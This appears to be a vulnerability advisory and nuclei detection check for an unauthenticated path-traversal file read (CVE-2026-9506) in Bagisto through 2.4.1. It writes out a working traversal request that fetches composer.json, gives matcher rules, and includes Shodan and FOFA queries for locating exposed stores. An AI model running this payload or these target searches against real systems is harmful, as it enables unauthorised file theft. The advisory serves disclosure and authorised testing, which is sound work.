Bagisto <= 2.4.1 - Unauthenticated Arbitrary File Read

highseverity

8.7CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

Bagisto through 2.4.1 is vulnerable to unauthenticated path traversal in the ImageCache controller. The `original` image-cache route (/cache/original/{filename}) passes the user-supplied filename to getImagePath() without any '..' filtering or realpath containment, allowing a remote unauthenticated attacker to read files outside the intended public image directories (upload/images) - for example the application's composer.json, artisan and other source files.

Impact

Unauthenticated attackers can read arbitrary sensitive files, potentially exposing confidential information.

Fix

Fixed in 2.4.2, which adds realpath() containment and '../' sanitisation.

How to confirm it

Send: GET {{BaseURL}}/cache/original/%2e%2e/composer.json
Positive when: contains "\"name\": \"bagisto/bagisto\"" or "Bagisto Laravel E-Commerce" AND status 200

Run it with nuclei: nuclei -id CVE-2026-9506 -u <target>

The full check

id: CVE-2026-9506

info:
  name: Bagisto <= 2.4.1 - Unauthenticated Arbitrary File Read
  author: str4k3r
  severity: high
  description: |
    Bagisto through 2.4.1 is vulnerable to unauthenticated path traversal in the ImageCache controller. The `original` image-cache route (/cache/original/{filename}) passes the user-supplied filename to getImagePath() without any '..' filtering or realpath containment, allowing a remote unauthenticated attacker to read files outside the intended public image directories (upload/images) - for example the application's composer.json, artisan and other source files.
  impact: |
    Unauthenticated attackers can read arbitrary sensitive files, potentially exposing confidential information.
  remediation: Fixed in 2.4.2, which adds realpath() containment and '../' sanitisation.
  reference:
    - https://github.com/advisories/GHSA-qhcg-rw5x-vg94
    - https://nvd.nist.gov/vuln/detail/CVE-2026-9506
    - https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES01&VLCODE=CIVN-2026-0292
    - https://www.ionix.io/threat-center/cve-2026-9506/
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.7
    cve-id: CVE-2026-9506
    epss-score: 0.01382
    epss-percentile: 0.72381
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: webkul
    product: bagisto
    shodan-query: http.html:"Bagisto"
    fofa-query: body="bagisto"
  tags: cve,cve2026,bagisto,webkul,lfi,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/cache/original/%2e%2e/composer.json"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"name": "bagisto/bagisto"'
          - 'Bagisto Laravel E-Commerce'
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from